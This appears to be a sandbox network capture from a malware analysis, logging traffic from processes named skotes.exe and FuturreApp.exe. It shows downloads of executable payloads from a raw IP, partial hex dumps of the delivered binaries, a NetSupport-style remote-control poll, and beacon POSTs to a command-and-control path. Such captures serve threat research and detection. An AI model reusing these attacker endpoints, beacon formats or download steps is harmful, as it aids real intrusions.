Dec 19, 2024 20:11:09.908144951 CET	124	IN	Data Raw: 34 62 32 38 34 36 64 39 33 34 66 34 38 62 31 35 65 61 61 34 39 35 63 34 39 23 31 30 31 37 38 33 30 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 Data Ascii: 4b2846d934f48b15eaa495c49#1017830001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc07e804d03ac52ea484b411b9dc4e1#10
Dec 19, 2024 20:11:10.164242983 CET	512	IN	Data Raw: 31 37 38 33 31 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 65 37 31 39 62 35 30 35 39 62 62 30 31 61 62 35 65 34 Data Ascii: 17831001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb01ab5e45425197d1aa1daaa8#1017832001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd32c86444db31cf64d4a485a9592e100b7#1017833001+++b5937c1a99d5f9df0b5dafc8506238

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49768	31.41.244.11	80	1900	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 20:11:10.289033890 CET	65	OUT	GET /files/151334531/YIFtngJ.exe HTTP/1.1 Host: 31.41.244.11
Dec 19, 2024 20:11:11.648283005 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 19:11:11 GMT Content-Type: application/octet-stream Content-Length: 2138232 Last-Modified: Thu, 19 Dec 2024 18:10:23 GMT Connection: keep-alive ETag: "6764618f-20a078" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 f3 9f 7e 98 b7 fe 10 cb b7 fe 10 cb b7 fe 10 cb 03 62 e1 cb bc fe 10 cb 03 62 e3 cb 3c fe 10 cb 03 62 e2 cb af fe 10 cb 29 5e d7 cb b6 fe 10 cb 8c a0 13 ca a1 fe 10 cb 8c a0 14 ca a4 fe 10 cb 8c a0 15 ca 9b fe 10 cb be 86 93 cb bd fe 10 cb be 86 83 cb b2 fe 10 cb b7 fe 11 cb bc ff 10 cb 20 a0 15 ca 87 fe 10 cb 20 a0 10 ca b6 fe 10 cb 25 a0 ef cb b6 fe 10 cb 20 a0 12 ca b6 fe 10 cb 52 69 63 68 b7 fe 10 cb 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 7e ea 72 5c 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 ea 02 00 00 ac 01 00 00 00 00 00 79 d7 01 00 00 10 00 00 00 00 03 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$~bb<b)^ % RichPEL~r\y@@4<4nT(@\T .textd `.rdata@@.data@.gfids@@.rsrc4@@.reloc z@B
Dec 19, 2024 20:11:11.648386955 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 a0 cb 43 00 e9 3e 4e 00 00 b9 e8 cb 43 00 e9 2a 5d 00 00 b9 d4 cb 43 00 Data Ascii: C>NC]CZhBYh&BYhDhtDCh0BYD EVh<BYxE@hFBtYaDhPB^Y0bDJhZBHY
Dec 19, 2024 20:11:11.648426056 CET	448	IN	Data Raw: 00 00 e8 fe c9 01 00 6a 34 8d 86 48 22 00 00 53 50 e8 ef c9 01 00 6a 20 8d 86 90 45 00 00 53 50 e8 e0 c9 01 00 8b 4d f4 83 c4 24 89 9e d8 6c 00 00 33 c0 89 9e e0 6c 00 00 89 9e e4 6c 00 00 89 9e e8 6c 00 00 89 9e ec 6c 00 00 89 9e f0 6c 00 00 89 Data Ascii: j4H"SPj ESPM$l3llllllflll!^[d]Q3$(,048@DHLPTYVWCjYj 3F WPD$
Dec 19, 2024 20:11:11.648713112 CET	1236	IN	Data Raw: 01 00 59 59 5f 8d 8e f8 55 00 00 e8 32 ff ff ff 8d 8e a8 32 00 00 e8 27 ff ff ff 8d 8e e8 20 00 00 e8 35 ae 00 00 8d 8e 24 10 00 00 e8 e4 49 00 00 8b ce 5e e9 a3 7d 00 00 81 c1 28 10 00 00 e9 fe fe ff ff 55 8b ec 64 a1 00 00 00 00 6a ff 68 9b f7 Data Ascii: YY_U22' 5$I^}(UdjhBPd%VPtjvvPMd^]VCD$th}VYY^D$VFN;NFSUCWt;vPhCUVVF^
Dec 19, 2024 20:11:11.648869991 CET	1236	IN	Data Raw: ff 21 00 00 6a 01 56 8b cf ff 50 0c 83 f8 01 0f 85 a0 fe ff ff 80 3e 00 0f 85 97 fe ff ff c7 87 00 22 00 00 08 00 00 00 eb 0a c7 87 00 22 00 00 07 00 00 00 8b cf 88 5d f3 e8 b3 1e 00 00 85 c0 0f 95 c0 88 45 f2 3c 01 75 3e 88 5d f3 8b cf e8 f7 02 Data Ascii: !jVP>""]E<u>]!!tuE<tElt}luuuGPj#Q}}$"l!tl
Dec 19, 2024 20:11:11.648902893 CET	448	IN	Data Raw: 33 00 00 0f 94 c0 48 83 e0 f0 83 c0 20 89 81 a4 22 00 00 c3 56 8b 74 24 08 57 8b f9 8b 96 fc 10 00 00 83 fa 02 75 15 33 c0 38 86 f1 10 00 00 0f 94 c0 48 83 e0 f0 83 c0 20 89 46 24 83 fa 01 75 0e 68 00 08 00 00 8d 46 28 50 e8 f6 8f 00 00 8d 46 28 Data Ascii: 3H "Vt$Wu38H F$uhF(PF(3f90tCSj\Zj_[f9uluff8:uf/tf;ultff90u[_^VWl"lu""T"3_^q3 W$
Dec 19, 2024 20:11:11.649143934 CET	1236	IN	Data Raw: ca 74 1e 8b 4c 24 18 8b 89 a0 6c 00 00 03 c8 8b 44 24 18 8b 80 a4 6c 00 00 13 c2 89 4b 20 89 43 24 8b 44 24 1c a8 02 74 2b 8b cf e8 f4 a0 00 00 8b c8 0b ca 74 1e 8b 4c 24 18 8b 89 a0 6c 00 00 03 c8 8b 44 24 18 8b 80 a4 6c 00 00 13 c2 89 4b 30 89 Data Ascii: tL$lD$lK C$D$t+tL$lD$lK0C4L$ D$${t{rwt;{uG+D$(u(UU61
Dec 19, 2024 20:11:11.649178982 CET	1236	IN	Data Raw: 00 00 8b cf 50 e8 a8 9b 00 00 80 bb c1 10 00 00 00 0f 84 84 00 00 00 6a 08 8d b3 c2 10 00 00 8b cf 56 e8 8b 9b 00 00 6a 04 8d 44 24 30 8b cf 50 e8 7d 9b 00 00 8d 44 24 58 50 e8 20 c5 00 00 6a 08 56 8d 44 24 60 50 e8 59 c5 00 00 8d 44 24 30 50 8d Data Ascii: PjVjD$0P}D$XP jVD$`PYD$0PD$\PjD$4PD$4PG{ujhCV%uL$(OG+^][_ U\/Bv$ <SVM
Dec 19, 2024 20:11:11.649418116 CET	448	IN	Data Raw: 1c 83 ea 0d 74 34 4a 83 ea 01 74 22 83 ea 05 74 11 83 ea 06 74 0c c7 86 9c 10 00 00 04 00 00 00 eb 22 c7 86 9c 10 00 00 03 00 00 00 eb 16 c7 86 9c 10 00 00 02 00 00 00 eb 0a c7 86 9c 10 00 00 01 00 00 00 8b 55 4c 8a 46 18 c7 86 fc 10 00 00 02 00 Data Ascii: t4Jt"tt"ULF<t<t<s<u!u3ft9N$}3@F$t,M$M$}Puu3@33}P
Dec 19, 2024 20:11:11.649456978 CET	1236	IN	Data Raw: 00 00 33 c0 66 39 07 75 14 6a 01 68 00 08 00 00 57 8d 85 d0 df ff ff 50 e8 29 c1 00 00 56 8b cb e8 c7 f2 ff ff e9 4c 01 00 00 8d 46 28 68 00 08 00 00 50 89 45 54 8d 85 d0 df ff ff 50 e8 7c d9 00 00 8b 7e 0c 2b 7d 58 83 ef 20 f7 46 08 00 04 00 00 Data Ascii: 3f9ujhWP)VLF(hPETP\|~+}X Ft(WEXW(M$hhC~(W1YY,EX8GGGG!
Dec 19, 2024 20:11:11.767988920 CET	1236	IN	Data Raw: 65 60 5d c3 55 83 ec 68 b8 41 f4 42 00 e8 df 9b 01 00 b8 68 20 00 00 e8 a5 9c 01 00 53 56 8b d9 8d 4d 30 57 53 e8 43 8f 00 00 33 c9 89 4d 60 89 4d fc 38 8b bc 6c 00 00 0f 84 42 01 00 00 8b 93 c0 6c 00 00 33 c0 83 c2 08 13 c1 39 83 a4 6c 00 00 0f Data Ascii: e`]UhABh SVM0WSC3M`M8lBl39l)9lMjQEjP!$Qu3EktEkE(3PQ`"EP!d"W$P$PjQ.\"tyt"jPE(PV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49785	185.215.113.64	443	7132	C:\Users\Public\Netstat\FuturreApp.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 20:11:17.097645998 CET	220	OUT	POST http://185.215.113.64/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 22Host: 185.215.113.64Connection: Keep-AliveCMD=POLLINFO=1ACK=1 Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49787	104.26.0.231	80	7132	C:\Users\Public\Netstat\FuturreApp.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 20:11:17.421293974 CET	118	OUT	GET /location/loca.asp HTTP/1.1 Host: geo.netsupportsoftware.com Connection: Keep-Alive Cache-Control: no-cache
Dec 19, 2024 20:11:18.767884016 CET	1123	IN	HTTP/1.1 404 Not Found Date: Thu, 19 Dec 2024 19:11:18 GMT Content-Type: text/html; charset=us-ascii Transfer-Encoding: chunked Connection: keep-alive CF-Ray: 8f49b29bba3f43df-EWR CF-Cache-Status: DYNAMIC cf-apo-via: origin,host Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FMNd10CDi3UbPaD9VAqSANlmKIzbQ7aiqL56XgIgBkP893flJq%2BIio13xWNBVYGPaC5A82erYxjFQai5HRDaJX2HtzL6O4o9UYajqAKIw07%2FrSjOENSXNPlfuD3GHRZ9Rmo6yXFNRzXisOtc"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare server-timing: cfL4;desc="?proto=TCP&rtt=1884&min_rtt=1884&rtt_var=942&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=118&delivery_rate=0&cwnd=241&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 31 33 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 13b<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49788	185.215.113.43	80	1900	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 20:11:17.714106083 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 37 37 38 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017788001&unit=246122658369
Dec 19, 2024 20:11:19.060817003 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 19:11:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49790	104.26.0.231	80	7132	C:\Users\Public\Netstat\FuturreApp.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 20:11:18.894159079 CET	118	OUT	GET /location/loca.asp HTTP/1.1 Host: geo.netsupportsoftware.com Connection: Keep-Alive Cache-Control: no-cache
Dec 19, 2024 20:11:20.209796906 CET	1125	IN	HTTP/1.1 404 Not Found Date: Thu, 19 Dec 2024 19:11:20 GMT Content-Type: text/html; charset=us-ascii Transfer-Encoding: chunked Connection: keep-alive CF-Ray: 8f49b2a4f93c0c90-EWR CF-Cache-Status: DYNAMIC cf-apo-via: origin,host Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jwbOFUwx2TXIJDK7TyuzVS%2F35m%2FY3ViHddXYU99Jdix%2Bjd6YHl7W9RfPH%2BcfraJ4SMmRPuziigAkknAbWzlL1e51b3E6uGkeKVmeIKrXjBhKYkhHnWnJz1msK36TX9gPBgz16KOtnu55Yvi5"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare server-timing: cfL4;desc="?proto=TCP&rtt=1774&min_rtt=1774&rtt_var=887&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=118&delivery_rate=0&cwnd=208&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 31 33 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 13b<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49794	31.41.244.11	80	1900	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 20:11:19.186036110 CET	61	OUT	GET /files/london/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 19, 2024 20:11:20.510217905 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 19:11:20 GMT Content-Type: application/octet-stream Content-Length: 1885696 Last-Modified: Wed, 18 Dec 2024 18:20:46 GMT Connection: keep-alive ETag: "6763127e-1cc600" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 d1 3c 5f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 ec 03 00 00 ae 00 00 00 00 00 00 00 80 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 4a 00 00 04 00 00 25 2d 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 30 05 00 68 00 00 00 00 20 05 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL<_gJ@J%-@T0h 1 H@.rsrc X@.idata 0Z@ *@\@uzxdwyviP 0B^@efzdldigpJ@.taggant0J"@
Dec 19, 2024 20:11:20.510277987 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 20:11:20.510369062 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 20:11:20.510560036 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 20:11:20.510579109 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 20:11:20.510592937 CET	672	IN	Data Raw: 82 d1 3c 6b f2 a9 3f 64 c4 7d 12 98 22 98 9d a8 1d f9 f0 7a 81 69 65 64 d7 32 b9 b9 68 17 b7 57 43 24 e5 c0 ca 5c 96 de 59 58 1c f0 8e 4d cb c6 81 3b 48 a1 45 bf d5 e0 0e 27 90 8d ce a0 74 9c a4 33 aa 50 44 ef 33 33 c4 66 c7 dc ff f1 b3 aa a6 c7 Data Ascii: <k?d}"zied2hWC$\YXM;HE't3PD33fHM"RP_W&"!E^;vV&/y6{`}O.s?@&28d=j@yd-tm>7r9MM\| tt&1v^!f.&b@kM?[@R
Dec 19, 2024 20:11:20.511040926 CET	1236	IN	Data Raw: a9 6e bf c6 57 cd fd 16 18 29 60 71 e6 87 fe ae 0a 31 f6 7d bc 5a 34 58 b1 d5 e9 11 4b 53 d2 95 01 f1 14 ad 65 79 e2 bc c4 4e ba f6 41 41 c3 dc 33 cd cd 28 81 2d fc ba c5 e5 5e 94 3e 4d ed 7b 9d 42 c2 40 3c 69 e9 b9 91 78 94 ca 8a 45 01 8a 02 d9 Data Ascii: nW)`q1}Z4XKSeyNAA3(-^>M{B@<ixEq9{X64mk%aa-r(Ml':-.AC5`2B[VAd!^iynugK6`tst~\|G61Y5&:`c_}Kz{;\
Dec 19, 2024 20:11:20.511048079 CET	1236	IN	Data Raw: 4f 19 68 44 7e 28 a0 ee 57 21 15 65 5c 65 42 40 68 e8 83 b3 12 68 f5 10 f8 ea 58 71 80 76 79 7c 34 49 b2 f8 50 5e e0 72 38 3a 7d 45 49 9e fe 43 c6 54 9d fb db d1 e5 e1 9c ce f7 da 5e 43 e6 6b ca 0d 58 80 fe eb c8 43 4d 32 41 d1 57 08 ec 89 41 4e Data Ascii: OhD~(W!e\eB@hhXqvy\|4IP^r8:}EICT^CkXCM2AWAN voqpgx8u<~LS>pw_ &wD?ve?JUl^1c'"[w8+QU,CS;TYu=}e6`yaIu>Xyu1?Ft
Dec 19, 2024 20:11:20.511061907 CET	448	IN	Data Raw: 04 d7 74 18 f1 0a 3e 0a 18 15 ea c2 dd 5c f9 c3 01 4d 06 9a fd 3e be 0b 87 a5 7a e1 d9 0e ee c5 c0 cf 91 c8 fb 2e 22 59 f2 18 91 00 37 7b d0 5e a8 f4 b0 ff e8 7b 39 d3 dc b7 0c 99 b9 ce e1 ee 3d c6 f9 94 fc 14 9f d6 14 0b 4b 4f 15 01 78 5b d1 d1 Data Ascii: t>\M>z."Y7{^{9=KOx[X{QIsyIj<g3MN:Dle@ay}&y.=ht}e@\|MseCfC#ryD)D~bY/s0:yA@0[ODs+^
Dec 19, 2024 20:11:20.511475086 CET	1236	IN	Data Raw: ce b3 75 db 64 f3 ff fb 46 40 0a ac b9 05 88 9f d2 1d 91 fa cd 55 3c 50 51 e5 e4 9a df aa 5b ad f5 2f b3 a1 ca ad 87 d6 39 15 fc 45 ad b5 15 c3 7e 0d 16 e3 44 e5 85 60 ad 26 74 da 75 50 87 3b f1 75 8c 53 24 7a a1 b7 b3 29 a5 ee f6 2e 0c 26 8c bd Data Ascii: udF@U<PQ[/9E~D`&tuP;uS$z).&]7w-\|Nr-=(YdMTKn>smx'JN\vOt;BSC"!0qY3YOJDMQ\|t3mA-nyr1
Dec 19, 2024 20:11:20.631253004 CET	1236	IN	Data Raw: c4 ab 59 80 52 a9 a6 9d bf d7 f5 7d 4d 34 ba f2 59 a8 5f fe 1d 61 f7 f5 c3 a5 5f c0 7d 4b 25 15 ed 0f 12 91 7a 91 bd 01 86 35 63 94 d5 3f d4 5b 59 39 06 8e c4 c8 a1 8e 2d 85 d6 d8 a6 50 44 c0 03 15 c3 4a 32 39 6e e2 0c 13 39 2d 10 6a ba 10 b3 6f Data Ascii: YR}M4Y_a_}K%z5c?[Y9-PDJ29n9-jo2`lAn9YtYnnN/\W>Bl,)f*:,^@S8@@(jau5rc6,O[t\JNK$G556JaoJtND\|'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49796	104.26.0.231	80	7132	C:\Users\Public\Netstat\FuturreApp.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 20:11:20.388041019 CET	118	OUT	GET /location/loca.asp HTTP/1.1 Host: geo.netsupportsoftware.com Connection: Keep-Alive Cache-Control: no-cache
Dec 19, 2024 20:11:21.708484888 CET	1127	IN	HTTP/1.1 404 Not Found Date: Thu, 19 Dec 2024 19:11:21 GMT Content-Type: text/html; charset=us-ascii Transfer-Encoding: chunked Connection: keep-alive CF-Ray: 8f49b2ae4da6c44f-EWR CF-Cache-Status: DYNAMIC cf-apo-via: origin,host Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wAg%2Bjx%2Bl5DkYCENG15O9pb8Ab5ORXtKpHR2wZ0LGkFLqz29CTuFaI5wbqd%2FPl9Bht2T29NDpM9OaUlg0gBlSNu9p6Jv2pL2Teu%2F8LK4jdC1v15snOVx40wFU%2BmQytxsdhi5JNFodY8YLaMSI"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare server-timing: cfL4;desc="?proto=TCP&rtt=1456&min_rtt=1456&rtt_var=728&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=118&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 31 33 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 13b<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49813	185.215.113.43	80	1900	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
